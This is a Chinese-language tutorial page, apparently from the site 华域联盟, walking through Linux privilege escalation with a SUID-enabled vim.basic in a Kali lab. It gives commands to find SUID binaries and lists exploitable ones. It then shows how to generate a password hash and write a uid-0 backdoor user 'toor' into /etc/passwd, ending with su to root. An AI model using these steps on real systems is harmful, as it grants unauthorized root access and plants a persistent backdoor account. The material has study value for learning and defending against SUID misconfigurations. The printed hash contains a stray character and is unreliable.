Linux使用suid vim.basic文件实现提权
在kali上复现
先给需要的vim.basic文件设置suid权限
chmod u+s /usr/bin/vim.basic
先adduser test1一个普通权限用户
现在就是一个合适的提权环境
通过以下命令可以找到存在suid权限的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \\；
可用于提权的文件有
- nmap
- vim
- find
- bash
- more
- less
- nano
- cp
利用vim提权的思路是修改etc/passwd文件，为自己添加一个有root权限的用户
passwd文件用户格式为：用户名:密码:uid:gid:注释:home目录:用户的shell
这边可以看看root用户的格式
root:x:0:0:root:/root:/bin/bash
（密码这部分之所以是x，是因为真正的密码存在/etc/shadow文件里）
生成密码：用openssl passwd -1 –salt asd 123 （这里是-1（数字1）不是L）
直接写在passwd文件里面，
toor:$1$asd$sTMDZlRI6L.jJEw2I.3×8.:0:0:root:/toor:/bin/bash
用vim /etc/passwd可以修改，但是在保存是会出现E212，无法保存，提示我们没有权限修改这个
这时应该用之前find找到的vim.basic文件运行，这个程序是有suid权限的。绝对可以修改
vim.basic /etc/passwd
用这个打开，然后修改文件，就可以成功保存
可以看到已经添加了，su toor切换，密码123，再id查看一下权限
root权限
chmod u+s /usr/bin/vim.basic
以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持华域联盟。
相关文章
-
这篇文章主要为大家详细介绍了Centos7.3下vsftp服务的安装方法，具有一定的参考价值，感兴趣的小伙伴们可以参考一下2017-09-09
-
这篇文章主要介绍了Linux实现文件内容去重及求交并差集,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下2020-08-08
-
本篇文章主要介绍了Linux中搭建常用服务器，主要包括telnet、DHCP、DNS、sendmail、FTP、web、samba有兴趣的可以了解一下。2016-12-12
-
这篇文章主要为大家详细介绍了基于vmware workstations安装Centos 7.3的图文教程，具有一定的参考价值，感兴趣的小伙伴们可以参考一下2018-09-09
-
Apache2 WEB服务器的配置步骤分享，配置apache服务器的朋友可以参考下。2011-05-05
-
本篇文章是作者实际Centos7搭建samba服务器的心得总结，如果你正需要这方面的内容，参考下吧。2018-02-02
-
这篇文章主要为大家详细介绍了Linux操作系统安装图文配置教程，帮助大家顺利的安装Linux操作系统，感兴趣的小伙伴们可以参考一下2016-09-09
-
linux 配置本地yum源,配置国内yum源,配置epel源的步骤
这篇文章主要介绍了linux 配置本地yum源，配置国内yum源，配置epel源的步骤，帮助大家更好的配置服务器，感兴趣的朋友可以了解下2020-12-12
-
linux 上在指定时间段内每隔多少分钟自动执行任务计划crontab
这篇文章主要介绍了linux 上在指定时间段内每隔多少分钟自动执行任务计划crontab,需要的朋友可以参考下2019-11-11
-
在本篇文章里小编给各位分享的是关于安装Linux的flash的步骤方法，对此有需要的朋友们可以学习下。2020-03-03
最新评论